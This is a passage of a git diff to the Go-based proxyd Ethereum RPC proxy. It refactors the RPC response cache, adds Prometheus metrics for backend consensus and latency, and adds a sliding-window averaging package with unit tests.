context.Context, req *RPCReq) (*RPCRes, error) { if e.cache == nil { - e.cache = res.Result - } - e.m.Unlock() - return nil -} - -type EthGetBlockByNumberMethodHandler struct { - cache Cache - getLatestBlockNumFn GetLatestBlockNumFn - numBlockConfirmations int -} - -func (e *EthGetBlockByNumberMethodHandler) cacheKey(req *RPCReq) string { - input, includeTx, err := decodeGetBlockByNumberParams(req.Params) - if err != nil { - return "" - } - return fmt.Sprintf("method:eth_getBlockByNumber:%s:%t", input, includeTx) -} - -func (e *EthGetBlockByNumberMethodHandler) cacheable(req *RPCReq) (bool, error) { - blockNum, _, err := decodeGetBlockByNumberParams(req.Params) - if err != nil { - return false, err - } - return !isBlockDependentParam(blockNum), nil -} - -func (e *EthGetBlockByNumberMethodHandler) GetRPCMethod(ctx context.Context, req *RPCReq) (*RPCRes, error) { - if ok, err := e.cacheable(req); !ok || err != nil { - return nil, err - } - key := e.cacheKey(req) - return getImmutableRPCResponse(ctx, e.cache, key, req) -} - -func (e *EthGetBlockByNumberMethodHandler) PutRPCMethod(ctx context.Context, req *RPCReq, res *RPCRes) error { - if ok, err := e.cacheable(req); !ok || err != nil { - return err - } - - blockInput, _, err := decodeGetBlockByNumberParams(req.Params) - if err != nil { - return err - } - if isBlockDependentParam(blockInput) { - return nil - } - if blockInput != "earliest" { - curBlock, err := e.getLatestBlockNumFn(ctx) - if err != nil { - return err - } - blockNum, err := decodeBlockInput(blockInput) - if err != nil { - return err - } - if curBlock <= blockNum+uint64(e.numBlockConfirmations) { - return nil - } - } - - key := e.cacheKey(req) - return putImmutableRPCResponse(ctx, e.cache, key, req, res) -} - -type EthGetBlockRangeMethodHandler struct { - cache Cache - getLatestBlockNumFn GetLatestBlockNumFn - numBlockConfirmations int -} - -func (e *EthGetBlockRangeMethodHandler) cacheKey(req *RPCReq) string { - start, end, includeTx, err := decodeGetBlockRangeParams(req.Params) - if err != nil { - return "" - } - return fmt.Sprintf("method:eth_getBlockRange:%s:%s:%t", start, end, includeTx) -} - -func (e *EthGetBlockRangeMethodHandler) cacheable(req *RPCReq) (bool, error) { - start, end, _, err := decodeGetBlockRangeParams(req.Params) - if err != nil { - return false, err - } - return !isBlockDependentParam(start) && !isBlockDependentParam(end), nil -} - -func (e *EthGetBlockRangeMethodHandler) GetRPCMethod(ctx context.Context, req *RPCReq) (*RPCRes, error) { - if ok, err := e.cacheable(req); !ok || err != nil { - return nil, err - } - - key := e.cacheKey(req) - return getImmutableRPCResponse(ctx, e.cache, key, req) -} - -func (e *EthGetBlockRangeMethodHandler) PutRPCMethod(ctx context.Context, req *RPCReq, res *RPCRes) error { - if ok, err := e.cacheable(req); !ok || err != nil { - return err - } - - start, end, _, err := decodeGetBlockRangeParams(req.Params) - if err != nil { - return err - } - curBlock, err := e.getLatestBlockNumFn(ctx) - if err != nil { - return err - } - if start != "earliest" { - startNum, err := decodeBlockInput(start) - if err != nil { - return err - } - if curBlock <= startNum+uint64(e.numBlockConfirmations) { - return nil - } - } - if end != "earliest" { - endNum, err := decodeBlockInput(end) - if err != nil { - return err - } - if curBlock <= endNum+uint64(e.numBlockConfirmations) { - return nil - } - } - - key := e.cacheKey(req) - return putImmutableRPCResponse(ctx, e.cache, key, req, res) -} - -type EthCallMethodHandler struct { - cache Cache - getLatestBlockNumFn GetLatestBlockNumFn - numBlockConfirmations int -} - -func (e *EthCallMethodHandler) cacheable(params *ethCallParams, blockTag string) bool { - if isBlockDependentParam(blockTag) { - return false - } - if params.From != "" || params.Gas != "" { - return false - } - if params.Value != "" && params.Value != "0x0" { - return false - } - return true -} - -func (e *EthCallMethodHandler) cacheKey(params *ethCallParams, blockTag string) string { - keyParams := fmt.Sprintf("%s:%s:%s", params.To, params.Data, blockTag) - return fmt.Sprintf("method:eth_call:%s", keyParams) -} - -func (e *EthCallMethodHandler) GetRPCMethod(ctx context.Context, req *RPCReq) (*RPCRes, error) { - params, blockTag, err := decodeEthCallParams(req) - if err != nil { - return nil, err - } - if !e.cacheable(params, blockTag) { return nil, nil } - key := e.cacheKey(params, blockTag) - return getImmutableRPCResponse(ctx, e.cache, key, req) -} - -func (e *EthCallMethodHandler) PutRPCMethod(ctx context.Context, req *RPCReq, res *RPCRes) error { - params, blockTag, err := decodeEthCallParams(req) - if err != nil { - return err - } - if !e.cacheable(params, blockTag) { - return nil - } - - if blockTag != "earliest" { - curBlock, err := e.getLatestBlockNumFn(ctx) - if err != nil { - return err - } - blockNum, err := decodeBlockInput(blockTag) - if err != nil { - return err - } - if curBlock <= blockNum+uint64(e.numBlockConfirmations) { - return nil - } - } - - key := e.cacheKey(params, blockTag) - return putImmutableRPCResponse(ctx, e.cache, key, req, res) -} - -type EthBlockNumberMethodHandler struct { - getLatestBlockNumFn GetLatestBlockNumFn -} - -func (e *EthBlockNumberMethodHandler) GetRPCMethod(ctx context.Context, req *RPCReq) (*RPCRes, error) { - blockNum, err := e.getLatestBlockNumFn(ctx) - if err != nil { - return nil, err - } - return makeRPCRes(req, hexutil.EncodeUint64(blockNum)), nil -} - -func (e *EthBlockNumberMethodHandler) PutRPCMethod(context.Context, *RPCReq, *RPCRes) error { - return nil -} - -type EthGasPriceMethodHandler struct { - getLatestGasPrice GetLatestGasPriceFn -} - -func (e *EthGasPriceMethodHandler) GetRPCMethod(ctx context.Context, req *RPCReq) (*RPCRes, error) { - gasPrice, err := e.getLatestGasPrice(ctx) - if err != nil { - return nil, err - } - return makeRPCRes(req, hexutil.EncodeUint64(gasPrice)), nil -} - -func (e *EthGasPriceMethodHandler) PutRPCMethod(context.Context, *RPCReq, *RPCRes) error { - return nil -} - -func isBlockDependentParam(s string) bool { - return s == "latest" || s == "pending" -} - -func decodeGetBlockByNumberParams(params json.RawMessage) (string, bool, error) { - var list []interface{} - if err := json.Unmarshal(params, &list); err != nil { - return "", false, err - } - if len(list) != 2 { - return "", false, errInvalidRPCParams - } - blockNum, ok := list[0].(string) - if !ok { - return "", false, errInvalidRPCParams - } - includeTx, ok := list[1].(bool) - if !ok { - return "", false, errInvalidRPCParams - } - if !validBlockInput(blockNum) { - return "", false, errInvalidRPCParams - } - return blockNum, includeTx, nil -} - -func decodeGetBlockRangeParams(params json.RawMessage) (string, string, bool, error) { - var list []interface{} - if err := json.Unmarshal(params, &list); err != nil { - return "", "", false, err - } - if len(list) != 3 { - return "", "", false, errInvalidRPCParams - } - startBlockNum, ok := list[0].(string) - if !ok { - return "", "", false, errInvalidRPCParams - } - endBlockNum, ok := list[1].(string) - if !ok { - return "", "", false, errInvalidRPCParams - } - includeTx, ok := list[2].(bool) - if !ok { - return "", "", false, errInvalidRPCParams - } - if !validBlockInput(startBlockNum) || !validBlockInput(endBlockNum) { - return "", "", false, errInvalidRPCParams - } - return startBlockNum, endBlockNum, includeTx, nil -} - -func decodeBlockInput(input string) (uint64, error) { - return hexutil.DecodeUint64(input) -} - -type ethCallParams struct { - From string `json:"from"` - To string `json:"to"` - Gas string `json:"gas"` - GasPrice string `json:"gasPrice"` - Value string `json:"value"` - Data string `json:"data"` -} - -func decodeEthCallParams(req *RPCReq) (*ethCallParams, string, error) { - var input []json.RawMessage - if err := json.Unmarshal(req.Params, &input); err != nil { - return nil, "", err - } - if len(input) != 2 { - return nil, "", fmt.Errorf("invalid eth_call parameters") - } - params := new(ethCallParams) - if err := json.Unmarshal(input[0], params); err != nil { - return nil, "", err - } - var blockTag string - if err := json.Unmarshal(input[1], &blockTag); err != nil { - return nil, "", err - } - return params, blockTag, nil -} - -func validBlockInput(input string) bool { - if input == "earliest" || input == "pending" || input == "latest" { - return true + if e.filterGet != nil && !e.filterGet(req) { + return nil, nil } - _, err := decodeBlockInput(input) - return err == nil -} -func makeRPCRes(req *RPCReq, result interface{}) *RPCRes { - return &RPCRes{ - JSONRPC: JSONRPCVersion, - ID: req.ID, - Result: result, - } -} + e.m.RLock() + defer e.m.RUnlock() -func getImmutableRPCResponse(ctx context.Context, cache Cache, key string, req *RPCReq) (*RPCRes, error) { - val, err := cache.Get(ctx, key) + key := e.key(req) + val, err := e.cache.Get(ctx, key) if err != nil { + log.Error("error reading from cache", "key", key, "method", req.Method, "err", err) return nil, err } if val == "" { @@ -381,6 +54,7 @@ func getImmutableRPCResponse(ctx context.Context, cache Cache, key string, req * var result interface{} if err := json.Unmarshal([]byte(val), &result); err != nil { + log.Error("error unmarshalling value from cache", "key", key, "method", req.Method, "err", err) return nil, err } return &RPCRes{ @@ -390,10 +64,29 @@ func getImmutableRPCResponse(ctx context.Context, cache Cache, key string, req * }, nil } -func putImmutableRPCResponse(ctx context.Context, cache Cache, key string, req *RPCReq, res *RPCRes) error { - if key == "" { +func (e *StaticMethodHandler) PutRPCMethod(ctx context.Context, req *RPCReq, res *RPCRes) error { + if e.cache == nil { + return nil + } + // if there is a filter on get, we don't want to cache it because its irretrievable + if e.filterGet != nil && !e.filterGet(req) { return nil } - val := mustMarshalJSON(res.Result) - return cache.Put(ctx, key, string(val)) + // response filter + if e.filterPut != nil && !e.filterPut(req, res) { + return nil + } + + e.m.Lock() + defer e.m.Unlock() + + key := e.key(req) + value := mustMarshalJSON(res.Result) + + err := e.cache.Put(ctx, key, string(value)) + if err != nil { + log.Error("error putting into cache", "key", key, "method", req.Method, "err", err) + return err + } + return nil } diff --git a/go/proxyd/metrics.go b/go/proxyd/metrics.go index 06fef153c8..68ca4e8987 100644 --- a/go/proxyd/metrics.go +++ b/go/proxyd/metrics.go @@ -4,6 +4,9 @@ import ( "context" "strconv" "strings" + "time" + + "github.com/ethereum/go-ethereum/common/hexutil" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" @@ -179,20 +182,12 @@ var ( "method", }) - lvcErrorsTotal = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: MetricsNamespace, - Name: "lvc_errors_total", - Help: "Count of lvc errors.", - }, []string{ - "key", - }) - - lvcPollTimeGauge = promauto.NewGaugeVec(prometheus.GaugeOpts{ + cacheErrorsTotal = promauto.NewCounterVec(prometheus.CounterOpts{ Namespace: MetricsNamespace, - Name: "lvc_poll_time_gauge", - Help: "Gauge of lvc poll time.", + Name: "cache_errors_total", + Help: "Number of cache errors.", }, []string{ - "key", + "method", }) batchRPCShortCircuitsTotal = promauto.NewCounter(prometheus.CounterOpts{ @@ -242,6 +237,169 @@ var ( Name: "rate_limit_take_errors", Help: "Count of errors taking frontend rate limits", }) + + consensusLatestBlock = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_latest_block", + Help: "Consensus latest block", + }, []string{ + "backend_group_name", + }) + + consensusSafeBlock = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_safe_block", + Help: "Consensus safe block", + }, []string{ + "backend_group_name", + }) + + consensusFinalizedBlock = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_finalized_block", + Help: "Consensus finalized block", + }, []string{ + "backend_group_name", + }) + + consensusHALatestBlock = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_ha_latest_block", + Help: "Consensus HA latest block", + }, []string{ + "backend_group_name", + "leader", + }) + + consensusHASafeBlock = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_ha_safe_block", + Help: "Consensus HA safe block", + }, []string{ + "backend_group_name", + "leader", + }) + + consensusHAFinalizedBlock = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_ha_finalized_block", + Help: "Consensus HA finalized block", + }, []string{ + "backend_group_name", + "leader", + }) + + backendLatestBlockBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_latest_block", + Help: "Current latest block observed per backend", + }, []string{ + "backend_name", + }) + + backendSafeBlockBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_safe_block", + Help: "Current safe block observed per backend", + }, []string{ + "backend_name", + }) + + backendFinalizedBlockBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_finalized_block", + Help: "Current finalized block observed per backend", + }, []string{ + "backend_name", + }) + + backendUnexpectedBlockTagsBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_unexpected_block_tags", + Help: "Bool gauge for unexpected block tags", + }, []string{ + "backend_name", + }) + + consensusGroupCount = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_count", + Help: "Consensus group serving traffic count", + }, []string{ + "backend_group_name", + }) + + consensusGroupFilteredCount = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_filtered_count", + Help: "Consensus group filtered out from serving traffic count", + }, []string{ + "backend_group_name", + }) + + consensusGroupTotalCount = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "group_consensus_total_count", + Help: "Total count of candidates to be part of consensus group", + }, []string{ + "backend_group_name", + }) + + consensusBannedBackends = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "consensus_backend_banned", + Help: "Bool gauge for banned backends", + }, []string{ + "backend_name", + }) + + consensusPeerCountBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "consensus_backend_peer_count", + Help: "Peer count", + }, []string{ + "backend_name", + }) + + consensusInSyncBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "consensus_backend_in_sync", + Help: "Bool gauge for backends in sync", + }, []string{ + "backend_name", + }) + + consensusUpdateDelayBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "consensus_backend_update_delay", + Help: "Delay (ms) for backend update", + }, []string{ + "backend_name", + }) + + avgLatencyBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_avg_latency", + Help: "Average latency per backend", + }, []string{ + "backend_name", + }) + + degradedBackends = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_degraded", + Help: "Bool gauge for degraded backends", + }, []string{ + "backend_name", + }) + + networkErrorRateBackend = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: MetricsNamespace, + Name: "backend_error_rate", + Help: "Request error rate per backend", + }, []string{ + "backend_name", + }) ) func RecordRedisError(source string) { @@ -299,6 +457,99 @@ func RecordCacheMiss(method string) { cacheMissesTotal.WithLabelValues(method).Inc() } +func RecordCacheError(method string) { + cacheErrorsTotal.WithLabelValues(method).Inc() +} + func RecordBatchSize(size int) { batchSizeHistogram.Observe(float64(size)) } + +func RecordGroupConsensusHALatestBlock(group *BackendGroup, leader string, blockNumber hexutil.Uint64) { + consensusHALatestBlock.WithLabelValues(group.Name, leader).Set(float64(blockNumber)) +} + +func RecordGroupConsensusHASafeBlock(group *BackendGroup, leader string, blockNumber hexutil.Uint64) { + consensusHASafeBlock.WithLabelValues(group.Name, leader).Set(float64(blockNumber)) +} + +func RecordGroupConsensusHAFinalizedBlock(group *BackendGroup, leader string, blockNumber hexutil.Uint64) { + consensusHAFinalizedBlock.WithLabelValues(group.Name, leader).Set(float64(blockNumber)) +} + +func RecordGroupConsensusLatestBlock(group *BackendGroup, blockNumber hexutil.Uint64) { + consensusLatestBlock.WithLabelValues(group.Name).Set(float64(blockNumber)) +} + +func RecordGroupConsensusSafeBlock(group *BackendGroup, blockNumber hexutil.Uint64) { + consensusSafeBlock.WithLabelValues(group.Name).Set(float64(blockNumber)) +} + +func RecordGroupConsensusFinalizedBlock(group *BackendGroup, blockNumber hexutil.Uint64) { + consensusFinalizedBlock.WithLabelValues(group.Name).Set(float64(blockNumber)) +} + +func RecordGroupConsensusCount(group *BackendGroup, count int) { + consensusGroupCount.WithLabelValues(group.Name).Set(float64(count)) +} + +func RecordGroupConsensusFilteredCount(group *BackendGroup, count int) { + consensusGroupFilteredCount.WithLabelValues(group.Name).Set(float64(count)) +} + +func RecordGroupTotalCount(group *BackendGroup, count int) { + consensusGroupTotalCount.WithLabelValues(group.Name).Set(float64(count)) +} + +func RecordBackendLatestBlock(b *Backend, blockNumber hexutil.Uint64) { + backendLatestBlockBackend.WithLabelValues(b.Name).Set(float64(blockNumber)) +} + +func RecordBackendSafeBlock(b *Backend, blockNumber hexutil.Uint64) { + backendSafeBlockBackend.WithLabelValues(b.Name).Set(float64(blockNumber)) +} + +func RecordBackendFinalizedBlock(b *Backend, blockNumber hexutil.Uint64) { + backendFinalizedBlockBackend.WithLabelValues(b.Name).Set(float64(blockNumber)) +} + +func RecordBackendUnexpectedBlockTags(b *Backend, unexpected bool) { + backendUnexpectedBlockTagsBackend.WithLabelValues(b.Name).Set(boolToFloat64(unexpected)) +} + +func RecordConsensusBackendBanned(b *Backend, banned bool) { + consensusBannedBackends.WithLabelValues(b.Name).Set(boolToFloat64(banned)) +} + +func RecordConsensusBackendPeerCount(b *Backend, peerCount uint64) { + consensusPeerCountBackend.WithLabelValues(b.Name).Set(float64(peerCount)) +} + +func RecordConsensusBackendInSync(b *Backend, inSync bool) { + consensusInSyncBackend.WithLabelValues(b.Name).Set(boolToFloat64(inSync)) +} + +func RecordConsensusBackendUpdateDelay(b *Backend, lastUpdate time.Time) { + // avoid recording the delay for the first update + if lastUpdate.IsZero() { + return + } + delay := time.Since(lastUpdate) + consensusUpdateDelayBackend.WithLabelValues(b.Name).Set(float64(delay.Milliseconds())) +} + +func RecordBackendNetworkLatencyAverageSlidingWindow(b *Backend, avgLatency time.Duration) { + avgLatencyBackend.WithLabelValues(b.Name).Set(float64(avgLatency.Milliseconds())) + degradedBackends.WithLabelValues(b.Name).Set(boolToFloat64(b.IsDegraded())) +} + +func RecordBackendNetworkErrorRateSlidingWindow(b *Backend, rate float64) { + networkErrorRateBackend.WithLabelValues(b.Name).Set(rate) +} + +func boolToFloat64(b bool) float64 { + if b { + return 1 + } + return 0 +} diff --git a/go/proxyd/package.json b/go/proxyd/package.json deleted file mode 100644 index a2d8ef3b05..0000000000 --- a/go/proxyd/package.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "name": "@eth-optimism/proxyd", - "version": "3.14.1", - "private": true, - "dependencies": {} -} diff --git a/go/proxyd/pkg/avg-sliding-window/sliding.go b/go/proxyd/pkg/avg-sliding-window/sliding.go new file mode 100644 index 0000000000..70c40be2d6 --- /dev/null +++ b/go/proxyd/pkg/avg-sliding-window/sliding.go @@ -0,0 +1,188 @@ +package avg_sliding_window + +import ( + "sync" + "time" + + lm "github.com/emirpasic/gods/maps/linkedhashmap" +) + +type Clock interface { + Now() time.Time +} + +// DefaultClock provides a clock that gets current time from the system time +type DefaultClock struct{} + +func NewDefaultClock() *DefaultClock { + return &DefaultClock{} +} +func (c DefaultClock) Now() time.Time { + return time.Now() +} + +// AdjustableClock provides a static clock to easily override the system time +type AdjustableClock struct { + now time.Time +} + +func NewAdjustableClock(now time.Time) *AdjustableClock { + return &AdjustableClock{now: now} +} +func (c *AdjustableClock) Now() time.Time { + return c.now +} +func (c *AdjustableClock) Set(now time.Time) { + c.now = now +} + +type bucket struct { + sum float64 + qty uint +} + +// AvgSlidingWindow calculates moving averages efficiently. +// Data points are rounded to nearest bucket of size `bucketSize`, +// and evicted when they are too old based on `windowLength` +type AvgSlidingWindow struct { + mux sync.Mutex + bucketSize time.Duration + windowLength time.Duration + clock Clock + buckets *lm.Map + qty uint + sum float64 +} + +type SlidingWindowOpts func(sw *AvgSlidingWindow) + +func NewSlidingWindow(opts ...SlidingWindowOpts) *AvgSlidingWindow { + sw := &AvgSlidingWindow{ + buckets: lm.New(), + } + for _, opt := range opts { + opt(sw) + } + if sw.bucketSize == 0 { + sw.bucketSize = time.Second + } + if sw.windowLength == 0 { + sw.windowLength = 5 * time.Minute + } + if sw.clock == nil { + sw.clock = NewDefaultClock() + } + return sw +} + +func WithWindowLength(windowLength time.Duration) SlidingWindowOpts { + return func(sw *AvgSlidingWindow) { + sw.windowLength = windowLength + } +} + +func WithBucketSize(bucketSize time.Duration) SlidingWindowOpts { + return func(sw *AvgSlidingWindow) { + sw.bucketSize = bucketSize + } +} + +func WithClock(clock Clock) SlidingWindowOpts { + return func(sw *AvgSlidingWindow) { + sw.clock = clock + } +} + +func (sw *AvgSlidingWindow) inWindow(t time.Time) bool { + now := sw.clock.Now().Round(sw.bucketSize) + windowStart := now.Add(-sw.windowLength) + return windowStart.Before(t) && !t.After(now) +} + +// Add inserts a new data point into the window, with value `val` and the current time +func (sw *AvgSlidingWindow) Add(val float64) { + t := sw.clock.Now() + sw.AddWithTime(t, val) +} + +// Incr is an alias to insert a data point with value float64(1) and the current time +func (sw *AvgSlidingWindow) Incr() { + sw.Add(1) +} + +// AddWithTime inserts a new data point into the window, with value `val` and time `t` +func (sw *AvgSlidingWindow) AddWithTime(t time.Time, val float64) { + sw.advance() + + defer sw.mux.Unlock() + sw.mux.Lock() + + key := t.Round(sw.bucketSize) + if !sw.inWindow(key) { + return + } + + var b *bucket + current, found := sw.buckets.Get(key) + if !found { + b = &bucket{} + } else { + b = current.(*bucket) + } + + // update bucket + bsum := b.sum + b.qty += 1 + b.sum = bsum + val + + // update window + wsum := sw.sum + sw.qty += 1 + sw.sum = wsum - bsum + b.sum + sw.buckets.Put(key, b) +} + +// advance evicts old data points +func (sw *AvgSlidingWindow) advance() { + defer sw.mux.Unlock() + sw.mux.Lock() + now := sw.clock.Now().Round(sw.bucketSize) + windowStart := now.Add(-sw.windowLength) + keys := sw.buckets.Keys() + for _, k := range keys { + if k.(time.Time).After(windowStart) { + break + } + val, _ := sw.buckets.Get(k) + b := val.(*bucket) + sw.buckets.Remove(k) + if sw.buckets.Size() > 0 { + sw.qty -= b.qty + sw.sum = sw.sum - b.sum + } else { + sw.qty = 0 + sw.sum = 0.0 + } + } +} + +// Avg retrieves the current average for the sliding window +func (sw *AvgSlidingWindow) Avg() float64 { + sw.advance() + if sw.qty == 0 { + return 0 + } + return sw.sum / float64(sw.qty) +} + +// Sum retrieves the current sum for the sliding window +func (sw *AvgSlidingWindow) Sum() float64 { + sw.advance() + return sw.sum +} + +// Count retrieves the data point count for the sliding window +func (sw *AvgSlidingWindow) Count() uint { + sw.advance() + return sw.qty +} diff --git a/go/proxyd/pkg/avg-sliding-window/sliding_test.go b/go/proxyd/pkg/avg-sliding-window/sliding_test.go new file mode 100644 index 0000000000..7f5e9b7d1a --- /dev/null +++ b/go/proxyd/pkg/avg-sliding-window/sliding_test.go @@ -0,0 +1,278 @@ +package avg_sliding_window + +import ( + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestSlidingWindow_AddWithTime_Single(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 5) + require.Equal(t, 5.0, sw.Avg()) + require.Equal(t, 5.0, sw.Sum()) + require.Equal(t, 1, int(sw.Count())) + require.Equal(t, 1, sw.buckets.Size()) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 5.0, sw.buckets.Values()[0].(*bucket).sum) +} + +func TestSlidingWindow_AddWithTime_TwoValues_SameBucket(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 5) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 5) + require.Equal(t, 5.0, sw.Avg()) + require.Equal(t, 10.0, sw.Sum()) + require.Equal(t, 2, int(sw.Count())) + require.Equal(t, 1, sw.buckets.Size()) + require.Equal(t, 2, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 10.0, sw.buckets.Values()[0].(*bucket).sum) +} + +func TestSlidingWindow_AddWithTime_ThreeValues_SameBucket(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 4) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 5) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 6) + require.Equal(t, 5.0, sw.Avg()) + require.Equal(t, 15.0, sw.Sum()) + require.Equal(t, 3, int(sw.Count())) + require.Equal(t, 1, sw.buckets.Size()) + require.Equal(t, 15.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 3, int(sw.buckets.Values()[0].(*bucket).qty)) +} + +func TestSlidingWindow_AddWithTime_ThreeValues_ThreeBuckets(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:04:01"), 4) + sw.AddWithTime(ts("2023-04-21 15:04:02"), 5) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 6) + require.Equal(t, 5.0, sw.Avg()) + require.Equal(t, 15.0, sw.Sum()) + require.Equal(t, 3, int(sw.Count())) + require.Equal(t, 3, sw.buckets.Size()) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 4.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 5.0, sw.buckets.Values()[1].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[2].(*bucket).qty)) + require.Equal(t, 6.0, sw.buckets.Values()[2].(*bucket).sum) +} + +func TestSlidingWindow_AddWithTime_OutWindow(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:03:55"), 1000) + sw.AddWithTime(ts("2023-04-21 15:04:01"), 4) + sw.AddWithTime(ts("2023-04-21 15:04:02"), 5) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 6) + require.Equal(t, 5.0, sw.Avg()) + require.Equal(t, 15.0, sw.Sum()) + require.Equal(t, 3, int(sw.Count())) + require.Equal(t, 3, sw.buckets.Size()) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 4.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 5.0, sw.buckets.Values()[1].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[2].(*bucket).qty)) + require.Equal(t, 6.0, sw.buckets.Values()[2].(*bucket).sum) +} + +func TestSlidingWindow_AdvanceClock(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:04:01"), 4) + sw.AddWithTime(ts("2023-04-21 15:04:02"), 5) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 6) + require.Equal(t, 5.0, sw.Avg()) + require.Equal(t, 15.0, sw.Sum()) + require.Equal(t, 3, int(sw.Count())) + require.Equal(t, 3, sw.buckets.Size()) + + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 4.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 5.0, sw.buckets.Values()[1].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[2].(*bucket).qty)) + require.Equal(t, 6.0, sw.buckets.Values()[2].(*bucket).sum) + + // up until 15:04:05 we had 3 buckets + // let's advance the clock to 15:04:11 and the first data point should be evicted + clock.Set(ts("2023-04-21 15:04:11")) + require.Equal(t, 5.5, sw.Avg()) + require.Equal(t, 11.0, sw.Sum()) + require.Equal(t, 2, int(sw.Count())) + require.Equal(t, 2, sw.buckets.Size()) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 5.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 6.0, sw.buckets.Values()[1].(*bucket).sum) + + // let's advance the clock to 15:04:12 and another data point should be evicted + clock.Set(ts("2023-04-21 15:04:12")) + require.Equal(t, 6.0, sw.Avg()) + require.Equal(t, 6.0, sw.Sum()) + require.Equal(t, 1, int(sw.Count())) + require.Equal(t, 1, sw.buckets.Size()) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 6.0, sw.buckets.Values()[0].(*bucket).sum) + + // let's advance the clock to 15:04:25 and all data point should be evicted + clock.Set(ts("2023-04-21 15:04:25")) + require.Equal(t, 0.0, sw.Avg()) + require.Equal(t, 0.0, sw.Sum()) + require.Equal(t, 0, int(sw.Count())) + require.Equal(t, 0, sw.buckets.Size()) +} + +func TestSlidingWindow_MultipleValPerBucket(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(10*time.Second), + WithBucketSize(time.Second), + WithClock(clock)) + 